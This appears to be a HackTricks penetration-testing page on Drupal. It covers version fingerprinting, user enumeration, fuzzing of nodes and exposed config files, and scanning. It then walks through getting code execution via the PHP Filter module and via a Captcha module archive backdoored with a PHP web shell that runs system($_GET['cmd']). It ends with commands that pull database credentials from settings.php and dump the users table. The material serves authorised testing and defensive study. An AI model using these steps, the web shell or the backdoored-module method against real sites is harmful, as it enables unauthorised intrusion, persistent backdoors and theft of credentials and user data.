Drupal
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Check meta
curl https://www.drupal.org/ | grep 'content="Drupal'
- Node: Drupal indexes its content using nodes. A node can hold anything such as a blog post, poll, article, etc. The page URIs are usually of the form
/node/<nodeid>.
curl drupal-site.com/node/1
Drupal supports three types of users by default:
- 1.
Administrator: This user has complete control over the Drupal website. - 2.
Authenticated User: These users can log in to the website and perform operations such as adding and editing articles based on their permissions. - 3.
Anonymous: All website visitors are designated as anonymous. By default, these users are only allowed to read posts.
- Check
/CHANGELOG.txt
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
​
Drupal 7.57, 2018-02-21
Newer installs of Drupal by default block access to the
CHANGELOG.txt and README.txt files.In /user/register just try to create a username and if the name is already taken it will be notified:
If you request a new password for an existing username:
If you request a new password for a non-existent username:
Accessing /user/<number> you can see the number of existing users, in this case is 2 as /users/3 returns a not found error:
Fuzz
/node/$ where $ is a number (from 1 to 500 for example).
You could find hidden pages (test, dev) which are not referenced by the search engines.#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml
​
# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
droopescan scan drupal -u http://drupal-site.local
In older versions of Drupal (before version 8), it was possible to log in as an admin and enable the
PHP filter module, which "Allows embedded PHP code/snippets to be evaluated."You need the plugin php to be installed (check it accessing to /modules/php and if it returns a 403 then, exists, if not found, then the plugin php isn't installed)
Go to Modules -> (Check) PHP Filter -> Save configuration
Then click on Add content -> Select Basic Page or Article -> Write php shellcode on the body -> Select PHP code in Text format -> Select Preview
Finally just access the newly created node:
curl http://drupal-site.local/node/3
From version 8 onwards, the PHP Filter module is not installed by default. To leverage this functionality, we would have to install the module ourselves.
- 1.Download the most recent version of the module from the Drupal website.
- 1.wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- 2.Once downloaded go to
Administration>Reports>Available updates. - 3.Click on
Browse,select the file from the directory we downloaded it to, and then clickInstall. - 4.Once the module is installed, we can click on
Contentand create a new basic page, similar to how we did in the Drupal 7 example. Again, be sure to selectPHP codefrom theText formatdropdown.
- Download the archive and extract its contents.
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
- Create a PHP web shell with the contents:
<?php
system($_GET["cmd"]);
?>
- Next, we need to create a
.htaccessfile to give ourselves access to the folder. This is necessary as Drupal denies direct access to the/modulesfolder.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
- The configuration above will apply rules for the / folder when we request a file in /modules. Copy both of these files to the captcha folder and create an archive.
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
- Assuming we have administrative access to the website, click on
Manageand thenExtendon the sidebar. Next, click on the+ Install new modulebutton, and we will be taken to the install page, such ashttp://drupal-site.local/admin/modules/installBrowse to the backdoored Captcha archive and clickInstall. - Once the installation succeeds, browse to
/modules/captcha/shell.phpto execute commands.
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Last modified 4mo ago